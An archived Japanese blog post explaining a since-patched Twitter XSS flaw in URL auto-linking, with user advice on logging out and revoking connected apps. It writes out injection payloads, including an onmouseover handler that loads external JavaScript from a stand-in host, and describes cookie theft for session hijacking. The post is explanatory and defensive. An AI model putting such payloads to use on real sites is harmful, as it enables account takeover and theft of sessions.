このブログは更新を終了しました。記載の内容は情報が古くなっている可能性がありますのでご注意ください。
新しいブログは写真専用のブログになりました。ご興味のある方はぜひ以下のアドレスから御覧ください。
https://kei.photo/

TwitterのXSSできる脆弱性への対応が完了したようなので

TwitterのXSSできる脆弱性への対応が完了したようなので はコメントを受け付けていません。

http://status.twitter.jp/post/1161495941/xss

こちらに書いてある通り、脆弱性が修正されたようなのでちょっと詳しくかいてみます。

まず、XSSというのがなんなのかということですが、簡単にいうとwebアプリケーションのセキュリティホールを突いて悪意のあるスクリプト(プログラム)を混入させることです。

略さずに言うとCross Site Scriptingというのですが、CSSというのはスタイルシートの略称として浸透しているためXSSという略称が主につかわれています。

さて、今回の問題、どうしておこってしまったんでしょうか。

実はTwitterでは過去にも同様のプログラム上の欠落でXSSできる状態にありました。

私も偶然そのセキュリティホールをみつけたのですが、Twitterの運営に知らせる方法をしらなかったためそのままわすれていたんですがw

まず、以前のXSS話をしたいと思います。

Twitterではhttp://やhttps://で始まるものは自動的にリンクになります。

つまり

http://aile-vide.com/

が変換されて

<a href=”aile-vide.com/”>http://aile-vide.com/</a>

となるわけです。

ここで通常は”を無効化しているため問題はないのですが、なぜかTwitterではそれがなされていませんでした。

どういう事かというと

http://aile-vide.com/” style=”color:red;

と打ち込むと

<a href=”http://aile-vide.com/” style=”background-color:red;” >http://aile-vide.com/” style=”color:red;</a>

となってしまいます。

さすがにこのセキュリティホールはふさがれていました。しかし、なぜかhttp://aile-vide.com/#@” style・・・・とすると同じようにXSSが可能でした。@を入れることで”がそのまま反映されてしまったようです。ちなみに、#をつけることでリンク先がhttp://hogehoge.com/@となることを防いでいます。

Twitterの内部プログラムなんてしらないので詳しい理屈はわかりませんが、おそらくreplay関係との兼ね合いでホールが生まれたのでしょう。

この場合以下のようにhttp://aile-vide.com/” style=”color:red;の背景が赤くなります。

http://aile-vide.com/” style=”color:red;
これの何がいけないの?と思う人もいるかもしれません。というか私の知り合いにも何人もいました。

では、次の場合どうでしょうか?

http://aile-vide.com/” onmouseover=”s=document.createElement(‘script’);s.src=’http://crover.aile-vide.com/test.js’;$(‘body’)[0].appendChild(s)”/

この場合、こうなります。

<a href=”http://aile-vide.com/”  onmouseover=”s=document.createElement(‘script’);
s.src=’http://hogehoge.com/hoge.js’;$(‘body’)[0].appendChild(s)”/”>http://aile-vide.com/”  onmouseover=”s=document.createElement(‘script’);
s.src=’http://hogehoge.com/hoge.js”;$(‘body’)[0].appendChild(s)”/</a>

このタグでどうなるのかも実際に試せるようにしたかったのですが、ブログのセキュリティとかの都合で再現できないので簡単に説明します。

このプログラムでは外部のJSファイルを読み込む。つまり、Twitterでは字数制限があって動かせないプログラムも、外部ファイルを読み込ませて動かすことができる。

つまりhttp://hogehoge.com/hoge.jsが読み込まれてしまうと言うことです。

たとえばこのJSファイルのなかに、サイトのCookieを取得し、それを外部のサーバーに送信するプログラムを作ったとします。

Twitterではセッションといってログインしてる人を識別するための仕組みがあるのですが、それにはCookieが使われており、そのクッキーさえとれればなりすましてセッションをつなぐことができると言うことです。

通常、Cookieは発行されたドメイン、この場合Twitterでしか読むことも書くこともできません。

しかし、今回のプログラムはあくまでTwitter上で動作します。つまり、Twitter上のCookieを取得できるということです。

この手法をセッションハイジャックなどといいます。

このセッションハイジャックにやられてしまったかもしれない場合、一度ログアウトしてしまえば問題ありません。

ログアウト時にセッションは切れます。つまり、奪われたCookieによるセッションが無効になります。

相手はパスワードがわかっているわけではありませんから、これだけで大丈夫です。

とりあえずセキュリティホールが修正されて問題なくなったとはいえすでにセッションを奪われている場合ログアウトするまでそのセッションは有効ですから、念のため一度ログアウトしてログインし直すことをお勧めします。

ですが、Twitterの場合、もう一つ注意が必要です。

外部アプリケーションです。

Twitterの外部アプリケーションに関するセキュリティの問題は以前も書きました。

外部アプリを許可してしまうと、その外部アプリの制作者はうまくやればDMをのぞきみることも、そのアカウントからTweetすることもできます。(ツールのAPI名がのこりますが)

もし、セッションハイジャックでアカウントを乗っ取りのハック用の外部アプリに認証されるとそのままこっそりDMなどを覗かれる可能性もあります。

普段は何が認証されてるなんか確認してない人もおおいでしょうから、乗っ取った人がつぶやきでもしない限り気づかれないかもしれません。

もし、ハイジャックされたかもしれないという心当たりがあれば(そうでなくても確認するのは全然かまいませんが、というか定期的にチェックしておくのはむしろいいことです。)Twitterにログインして、設定を開き連携アプリから連携させた覚えのないアプリの許可を取りけしておきましょう。当然ですが、一度ログアウトしてログインし直すと言うことも忘れないでください。

わからない方はhttp://twitter.com/settings/connectionsから直接設定できます。

最近のネットプログラムにしては非常に根本的なところでおきた問題とは思えないほど初歩的なミスも多く、どうしてこうなるまで放置してしまったのかといいたくなります。

普段使っている物であるからこそ、今回はあちこちで騒ぎになりました。

Twitterをしていない人にとっては今回の件はどうでもいい話かもしれませんが、これからの時代はセキュリティ意識が無ければならない物になるでしょう。

今回はウイルスセキュリティソフトをいれてれば大丈夫というものでもありませんし、ユーザー側でできることというのは非常に限られていました。

なのでこれ以上どうしろとかは言えませんが、逆にTwitter側のセキュリティ意識が低かったということでもあります。

webサービスは特に、作る側、使う側両方のセキュリティ意識が高くなければならないなと痛感した出来事でした。

それと今回、ログアウトに意味なんかないとか、ログアウトはしてはいけないとつぶやき混乱させる輩もいました。その人がセッションハイジャックの仕組みをわかっていなかったのか、わかった上でわざとそういうのを流したのか(そうだとしたらその人はセッションハイジャックをしようとしていたんだろうか・・・)はわかりませんが、その情報のせいで多くの人が混乱していました。

知識がない人はどちらが正しいのかなんて判別できないのかもしれません。

そんな状況でもたくさんの人達がログアウトをする手法、ログアウトしてはいけないというのはデマだというのを早急に広げた人達のおかげで被害はだいぶ押さえられたのではないでしょうか。

対策を広めるためにがんばっていた皆様、お疲れ様でした。

コメントはまだありません。